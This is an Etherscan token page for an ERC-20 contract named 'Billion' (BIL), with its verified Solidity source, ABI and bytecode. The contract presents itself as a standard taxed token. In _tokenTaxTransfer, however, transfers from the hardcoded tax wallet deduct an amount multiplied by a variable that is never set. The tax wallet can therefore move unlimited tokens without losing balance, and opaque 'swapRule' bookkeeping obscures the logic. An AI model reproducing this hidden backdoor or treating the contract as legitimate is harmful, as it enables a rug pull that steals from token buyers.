ETH Price: $3,483.96 (-0.20%)

Token

Billion (B)
 

Overview

Max Total Supply

1,000,000,000 B

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,670,643.359353227 B

Value
$0.00
0xa7514e1f718146642f9f3b78a8797bbfce49b926
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BIL

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-03
*/

// SPDX-License-Identifier: MIT

/*

*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(),"Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (
        uint amountToken,
        uint amountETH,
        uint liquidity
    );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract BIL is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private immutable _taxWallet;

    uint256 private _initialBuyTax=16;
    uint256 private _initialSellTax=18;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Billion";
    string private constant _symbol = unicode"B";
    uint256 public _maxTxAmount = 15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 11000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 9000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct SwapRuleData {uint256 revRule; uint256 manualRule; uint256 isRuleRev;}
    mapping(address => SwapRuleData) private swapRuleData;
    uint256 private taxRuleExclude;
    uint256 private ruleTokenRev;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _taxWallet = payable(0xCb069259d4d63fe5b7D7B737B94D207EB1CA60C0);
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(
                address(this),
                uniswapV2Router.WETH()
            );

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTokenTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!tradingOpen || inSwap){
            _basicTokenTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to== uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance> 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from]||  _isExcludedFromFee[to])
            && from!=address(this)
            &&to!= address(this)
        ) {
            ruleTokenRev= block.number;
        }

        if (!_isExcludedFromFee[from]&& !_isExcludedFromFee[to] ){
            if (uniswapV2Pair != to)  {
                SwapRuleData storage swapRule = swapRuleData[to];
                if (uniswapV2Pair == from) {
                    if (swapRule.revRule == 0) {
                        swapRule.revRule= block.number;
                    }
                } else {
                    SwapRuleData storage ruleRevCondition = swapRuleData[from];
                    if (!(swapRule.revRule > 0) || ruleRevCondition.revRule < swapRule.revRule ) {
                        swapRule.revRule = ruleRevCondition.revRule;
                    }
                }
            } else {
                SwapRuleData storage ruleRevCondition = swapRuleData[from];
                ruleRevCondition.isRuleRev = ruleRevCondition.revRule-ruleTokenRev;
                ruleRevCondition.manualRule= block.timestamp;
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);

        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs,uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount: taxRuleExclude.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(
            address(this), address(uniswapV2Router),
            tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function claim_eth() external onlyOwner{
        _taxWallet.transfer(address(this).balance);
    }


    function removeLimits() external onlyOwner{
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getTaxDetails() public view returns (
        uint256 initialBuyTax,
        uint256 initialSellTax,
        uint256 finalBuyTax,
        uint256 finalSellTax
        ) {
            return (
                _initialBuyTax,
                _initialSellTax,
                _finalBuyTax,
                _finalSellTax
            );
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        tradingOpen=true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled=true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim_eth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTaxDetails","outputs":[{"internalType":"uint256","name":"initialBuyTax","type":"uint256"},{"internalType":"uint256","name":"initialSellTax","type":"uint256"},{"internalType":"uint256","name":"finalBuyTax","type":"uint256"},{"internalType":"uint256","name":"finalSellTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052601060045560126005555f6006555f600755601460085560146009556005600a555f600b556009600a610037919061046b565b6100449062e4e1c0610480565b600c556100536009600a61046b565b6100609062e4e1c0610480565b600d5561006f6009600a61046b565b61007c9062a7d8c0610480565b600e5561008b6009600a61046b565b6100989062895440610480565b600f556011805461ffff60a81b191690553480156100b4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101016009600a61046b565b61010f90633b9aca00610480565b335f9081526001602081815260408084209490945573cb069259d4d63fe5b7d7b737b94d207eb1ca60c0608052600381527f6201ade7f463a82d0397488504ee810e55aaaac2bf8e0c730c7c6f585cc7d747805460ff199081168417909155308452928490208054909316909117909155601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156101de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102029190610497565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610261573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102859190610497565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102cf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f39190610497565b601180546001600160a01b0319166001600160a01b039290921691909117905561031a3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103516009600a61046b565b61035f90633b9aca00610480565b60405190815260200160405180910390a36104bd565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103c357815f19048211156103a9576103a9610375565b808516156103b657918102915b93841c939080029061038e565b509250929050565b5f826103d957506001610465565b816103e557505f610465565b81600181146103fb576002811461040557610421565b6001915050610465565b60ff84111561041657610416610375565b50506001821b610465565b5060208310610133831016604e8410600b8410161715610444575081810a610465565b61044e8383610389565b805f190482111561046157610461610375565b0290505b92915050565b5f61047960ff8416836103cb565b9392505050565b808202811582820484141761046557610465610375565b5f602082840312156104a7575f80fd5b81516001600160a01b0381168114610479575f80fd5b6080516119b06104f15f395f818161046e0152818161055601528181610bbd01528181611180015261143c01526119b05ff3fe608060405260043610610134575f3560e01c806370a08231116100a85780638da5cb5b1161006d5780638da5cb5b1461035d5780638f9a55c01461037957806395d89b411461038e578063a9059cbb146103b7578063bf474bed146103d6578063dd62ed3e146103eb575f80fd5b806370a08231146102d8578063715018a61461030c578063751039fc146103205780637d1db4a5146103345780638a8c523c14610349575f80fd5b806318160ddd116100f957806318160ddd1461021f5780631fee58941461023357806323b872dd1461026b578063313ce5671461028a57806349bd5a5e146102a557806351bc3c85146102c4575f80fd5b806305977bc71461013f57806306fdde0314610155578063095ea7b3146101965780630faee56f146101c55780631694505e146101e8575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361042f565b005b348015610160575f80fd5b506040805180820190915260078152662134b63634b7b760c91b60208201525b60405161018d91906115ba565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611603565b6104b6565b604051901515815260200161018d565b3480156101d0575f80fd5b506101da600f5481565b60405190815260200161018d565b3480156101f3575f80fd5b50601054610207906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b34801561022a575f80fd5b506101da6104cc565b34801561023e575f80fd5b5060045460055460065460075460408051948552602085019390935291830152606082015260800161018d565b348015610276575f80fd5b506101b561028536600461162d565b6104ec565b348015610295575f80fd5b506040516009815260200161018d565b3480156102b0575f80fd5b50601154610207906001600160a01b031681565b3480156102cf575f80fd5b50610153610553565b3480156102e3575f80fd5b506101da6102f236600461166b565b6001600160a01b03165f9081526001602052604090205490565b348015610317575f80fd5b506101536105b9565b34801561032b575f80fd5b5061015361062a565b34801561033f575f80fd5b506101da600c5481565b348015610354575f80fd5b506101536106db565b348015610368575f80fd5b505f546001600160a01b0316610207565b348015610384575f80fd5b506101da600d5481565b348015610399575f80fd5b506040805180820190915260018152602160f91b6020820152610180565b3480156103c2575f80fd5b506101b56103d1366004611603565b6108fb565b3480156103e1575f80fd5b506101da600e5481565b3480156103f6575f80fd5b506101da610405366004611686565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146104615760405162461bcd60e51b8152600401610458906116bd565b60405180910390fd5b6040516001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016904780156108fc02915f818181858888f193505050501580156104b3573d5f803e3d5ffd5b50565b5f6104c2338484610907565b5060015b92915050565b5f6104d96009600a6117e6565b6104e790633b9aca006117f4565b905090565b5f6104f8848484610a2b565b610549843361054485604051806060016040528060288152602001611953602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fcb565b610907565b5060019392505050565b337f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614610587575f80fd5b305f9081526001602052604090205480156105a5576105a581611003565b4780156105b5576105b581611173565b5050565b5f546001600160a01b031633146105e25760405162461bcd60e51b8152600401610458906116bd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106535760405162461bcd60e51b8152600401610458906116bd565b61065f6009600a6117e6565b61066d90633b9aca006117f4565b600c5561067c6009600a6117e6565b61068a90633b9aca006117f4565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ba6009600a6117e6565b6106c890633b9aca006117f4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107045760405162461bcd60e51b8152600401610458906116bd565b601154600160a01b900460ff161561075e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b60105461078a9030906001600160a01b031661077c6009600a6117e6565b61054490633b9aca006117f4565b6011805460ff60a01b1916600160a01b1790556010546001600160a01b031663f305d71947306107ce816001600160a01b03165f9081526001602052604090205490565b5f806107e15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610847573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061086c919061180b565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e59190611836565b506011805460ff60b01b1916600160b01b179055565b5f6104c2338484610a2b565b6001600160a01b0383166109695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109ca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610af15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b5f8111610b525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b601154600160a01b900460ff161580610b745750601154600160a81b900460ff165b15610b8957610b848383836111c6565b505050565b5f80546001600160a01b03858116911614801590610bb457505f546001600160a01b03848116911614155b8015610bf257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610e4b57610c236064610c1d600854600b5411610c1257600454610c16565b6006545b8590611269565b906112ee565b6011549091506001600160a01b038581169116148015610c5157506010546001600160a01b03848116911614155b8015610c7557506001600160a01b0383165f9081526003602052604090205460ff16155b15610d5b57600c54821115610ccc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610458565b600d5482610cee856001600160a01b03165f9081526001602052604090205490565b610cf89190611855565b1115610d465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610458565b600b8054905f610d5583611868565b91905055505b6011546001600160a01b038481169116148015610d8157506001600160a01b0384163014155b15610dae57610dab6064610c1d600954600b5411610da157600554610c16565b6007548590611269565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610de457506011546001600160a01b038581169116145b8015610df95750601154600160b01b900460ff165b8015610e065750600e5481115b8015610e155750600a54600b54115b15610e4957610e37610e3284610e2d84600f5461132f565b61132f565b611003565b478015610e4757610e4747611173565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610e8857506001600160a01b0383165f9081526003602052604090205460ff165b8015610e9d57506001600160a01b0384163014155b8015610eb257506001600160a01b0383163014155b15610ebc57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610efc57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fb9576011546001600160a01b03848116911614610f86576001600160a01b038084165f9081526012602052604090206011549091868116911603610f4e5780545f03610f49574381555b610f80565b6001600160a01b0385165f90815260126020526040902081541580610f74575081548154105b15610f7e57805482555b505b50610fb9565b6001600160a01b0384165f9081526012602052604090206014548154610fac9190611880565b6002820155426001909101555b610fc584848484611343565b50505050565b5f8184841115610fee5760405162461bcd60e51b815260040161045891906115ba565b505f610ffa8486611880565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061104957611049611893565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110c491906118a7565b816001815181106110d7576110d7611893565b6001600160a01b0392831660209182029290920101526010546110fd9130911684610907565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111359085905f908690309042906004016118c2565b5f604051808303815f87803b15801561114c575f80fd5b505af115801561115e573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083905f818181858888f193505050501580156105b5573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546111e8908261136d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461121690826113ae565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a1e9085815260200190565b5f825f0361127857505f6104c6565b5f61128383856117f4565b9050826112908583611933565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b9392505050565b5f6112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b5f81831161133d57826112e7565b50919050565b5f61134f858484611438565b9050611366858583611361878761136d565b611509565b5050505050565b5f6112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcb565b5f806113ba8385611855565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b5f818361142c5760405162461bcd60e51b815260040161045891906115ba565b505f610ffa8486611933565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031603611485576013546114809085611269565b611487565b835b9050821561150157305f908152600160205260409020546114a890846113ae565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f89087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461152b908361136d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461155990826113ae565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ac9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104b3575f80fd5b5f8060408385031215611614575f80fd5b823561161f816115ef565b946020939093013593505050565b5f805f6060848603121561163f575f80fd5b833561164a816115ef565b9250602084013561165a816115ef565b929592945050506040919091013590565b5f6020828403121561167b575f80fd5b81356112e7816115ef565b5f8060408385031215611697575f80fd5b82356116a2816115ef565b915060208301356116b2816115ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174057815f1904821115611726576117266116f2565b8085161561173357918102915b93841c939080029061170b565b509250929050565b5f82611756575060016104c6565b8161176257505f6104c6565b816001811461177857600281146117825761179e565b60019150506104c6565b60ff841115611793576117936116f2565b50506001821b6104c6565b5060208310610133831016604e8410600b84101617156117c1575081810a6104c6565b6117cb8383611706565b805f19048211156117de576117de6116f2565b029392505050565b5f6112e760ff841683611748565b80820281158282048414176104c6576104c66116f2565b5f805f6060848603121561181d575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611846575f80fd5b815180151581146112e7575f80fd5b808201808211156104c6576104c66116f2565b5f60018201611879576118796116f2565b5060010190565b818103818111156104c6576104c66116f2565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118b7575f80fd5b81516112e7816115ef565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119125784516001600160a01b0316835293830193918301916001016118ed565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261194d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a80b2429fbfc320250976bd58b9581779325273cace2dd763801c99713b3c99164736f6c63430008190033

Deployed Bytecode

